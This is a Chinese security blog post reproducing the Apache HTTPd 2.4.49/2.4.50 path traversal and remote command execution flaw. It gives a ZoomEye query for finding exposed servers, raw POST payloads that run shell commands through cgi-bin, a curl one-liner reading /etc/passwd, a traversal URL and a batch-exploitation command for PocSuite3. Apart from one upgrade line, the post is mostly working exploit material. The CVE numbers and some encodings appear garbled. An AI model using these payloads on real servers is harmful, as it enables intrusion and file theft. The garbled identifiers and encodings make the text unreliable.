给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!
关注公众号:b1gpig信息安全,文章推送不错过
CVE--41773漏洞描述:
Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。10月8日Apache HTTPd官方发布安全更新,披露了CVE--4 Apache HTTPd 2.4.49/2.4.50 路径穿越漏洞。由于对CVE--41773 Apache HTTPd 2.4.49 路径穿越漏洞的修复不完善,攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。同时若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。
影响版本
Apache HTTPd 2.4.49/2.4.50版本
zoomeye语法
app:“apache web server 2.4.49 2.4.50”
复现过程:
环境搭建:
docker镜像:
/blasty/CVE--41773
搭建效果:
rce复现:
抓包:
poc:
POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1Host: your ip : portUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/0101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Sat, 16 Oct 07:06:04 GMTIf-None-Match: "29cd-5ce72f1ed2f00-gzip"Cache-Control: max-age=0Content-Length: 41echo Content-Type: text/plain; echo; ls
POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1Host: ip:portCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9If-None-Match: "29cd-5ce4665e39700-gzip"If-Modified-Since: Thu, 14 Oct 01:57:16 GMTConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 12echo; whoami
curl:
curl --data "echo;cat /etc/passwd" 'http://ip:port/cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh'
修复:
建议使用Apache HTTPd 2.4.49 与Apache HTTPd 2.4.50 版本的服务器更新Apache HTTPd 版本至最新。
批量利用检测利用工具:
可视化界面工具
Github地址:
/inbug-team/CVE--41773_CVE--4
PocSuite3工具
批量:
python3 .\cli.py -r .\pocs\1008_web_apache-httpd_dir-traversal-rce_cve--41773_cve--4.py -f 1.txt --verify
CVE--4 目录穿越
漏洞成因:
Apache HTTP Server 2.4.50版本对CVE--41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。
在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码,代码如下:
触发:
ip:port/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd